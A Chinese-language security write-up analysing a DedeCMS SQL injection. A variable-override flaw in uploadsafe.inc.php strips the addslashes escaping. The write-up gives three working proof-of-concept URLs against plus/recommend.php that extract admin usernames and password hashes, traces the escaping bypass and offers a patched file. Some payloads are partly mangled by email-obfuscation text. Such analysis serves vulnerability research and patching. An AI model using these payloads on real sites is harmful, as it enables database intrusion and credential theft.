dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul

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1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

1. dedecms原生提供一个"本地变量注册"的模拟实现，原则上允许黑客覆盖任意变量
2. dedecms在实现本地变量注册的时候，会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理
//$key值注入不在本文讨论范围内，详情参阅：http://www.cnblogs.com/LittleHann/p/4505694.html
3. 在处理文件上传的逻辑中，存在一条攻击路径，程序自己"反处理"了addslash逻辑，使用于闭合的单引号重新获得攻击效果，造成SQL注入

Relevant Link:

http://0day5.com/archives/1346

2. 漏洞触发条件

0x1: POC1

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%[email protected]`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

?action=
&aid=1
&_FILES[type][tmp_name]=\%27%20or%[email protected]`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=4294

0x2: POC2

http://DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\‘  or [email protected]`\‘` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%[email protected]__admin` limit+0,1),5,6,7,8,9%[email protected]`\‘`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873

0x3: POC3

http://DEDE/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\‘and+char(@`‘`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%[email protected]__admin`%23

0x4: POC入侵方式

1. 原始数据
\%27%20or%[email protected]`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+

2.URL提交进来后，\ 和 ’ 分别被转义成 \\ 和 \’
\\\‘ or [email protected]`\\\‘`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\‘`

3.URL被带入include/common.inc.php中检查，此步数据未发生变化

4.然后来到了include/uploadsafe.inc.php中，经过第行str_replace后，\\被过滤成了\，用于攻击闭合的单引号重新获得攻击能力
$$_key = $_FILES[$_key][‘tmp_name‘] =str_replace("\\\\", "\\", $_FILES[$_key][‘tmp_name‘]);
\\‘ or [email protected]`\\‘`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\‘`
此时引号被成功的带入了查询语句中

5.回到plus/recommend.php中，第38行，此时SQL语句被拼成如下：
SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid=‘1‘ ANDs.type=‘\\‘ or [email protected]`\\‘` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\‘` ‘

Relevant Link:

http://www.xuebuyuan.com/2095280.html
http://0day5.com/archives/1346
http://loudong.360.cn/blog/view/id/17

3. 漏洞影响范围
4. 漏洞代码分析

从/plus/recommand.php开始逐步分析

require_once(dirname(__FILE__)."/../include/common.inc.php");
..

/include/common.inc.php

..
function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match(‘#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#‘,$svar) )
            {
              exit(‘Request var not allow!‘);
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}
..

只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE，即可通过检查，_FILES[type][tmp_name]被带入
引发漏洞的入口点在/include/uploadsafe.inc.php

..
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
    require_once(DEDEINC.‘/uploadsafe.inc.php‘);
}
..

/include/uploadsafe.inc.php

..
//URL参数中的_FILES[type][tmp_name]，$_key为type，$$_key即为$type，从而导致了$type变量的覆盖
$$_key = $_FILES[$_key][‘tmp_name‘] = str_replace("\\\\","\\",$_FILES[$_key][‘tmp_name‘]);
${$_key.‘_name‘} = $_FILES[$_key][‘name‘];
${$_key.‘_type‘} = $_FILES[$_key][‘type‘] = eregi_replace(‘[^0-9a-z\./]‘,‘‘,$_FILES[$_key][‘type‘]);
${$_key.‘_size‘} = $_FILES[$_key][‘size‘] = ereg_replace(‘[^0-9]‘,‘‘,$_FILES[$_key][‘size‘]);
..

/plus/recommand.php

//读取文档信息
if($action==‘‘)
{
    if($type==‘sys‘){
    //读取文档信息
        $arcRow = GetOneArchive($aid);
        if($arcRow[‘aid‘]==‘‘)
        {
            ShowMsg("无法把未知文档推荐给好友!","-1");
            exit();
        }
        extract($arcRow, EXTR_OVERWRITE);
    }
    else
    {
        //注入语句被带入数据库查询，
        $arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid=‘$aid‘ AND s.type=‘$type‘");
        if(!is_array($arcRow)){
            ShowMsg("无法把未知文档推荐给好友!","-1");
            exit();
        }
        $arcRow[‘arcurl‘]=$arcRow[‘indexurl‘]."=".$arcRow[‘aid‘];
        extract($arcRow, EXTR_OVERWRITE);
    }
}

5. 防御方法

/include/uploadsafe.inc.php

/*  */
//$$_key = $_FILES[$_key][‘tmp_name‘] = str_replace("\\\\","\\",$_FILES[$_key][‘tmp_name‘]);
$$_key = $_FILES[$_key][‘tmp_name‘];
/* */
${$_key.‘_name‘} = $_FILES[$_key][‘name‘];
${$_key.‘_type‘} = $_FILES[$_key][‘type‘] = preg_replace(‘#[^0-9a-z\./]#i‘, ‘‘, $_FILES[$_key][‘type‘]);
${$_key.‘_size‘} = $_FILES[$_key][‘size‘] = preg_replace(‘#[^0-9]#‘,‘‘,$_FILES[$_key][‘size‘]);
if(!empty(${$_key.‘_name‘}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.‘_name‘}) || !preg_match("#\.#", ${$_key.‘_name‘})) )
{
    if(!defined(‘DEDEADMIN‘))
    {
        exit(‘Not Admin Upload filetype not allow !‘);
    }
}
if(empty(${$_key.‘_size‘}))
{
    ${$_key.‘_size‘} = @filesize($$_key);
}

/* 限制上传文件类型 */
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);

if(in_array(strtolower(trim(${$_key.‘_type‘})), $imtypes))
{
    $image_dd = @getimagesize($$_key);
    if (!is_array($image_dd))
    {
        exit(‘Upload filetype not allow !‘);
    }
}
/* */ 

6. 攻防思考

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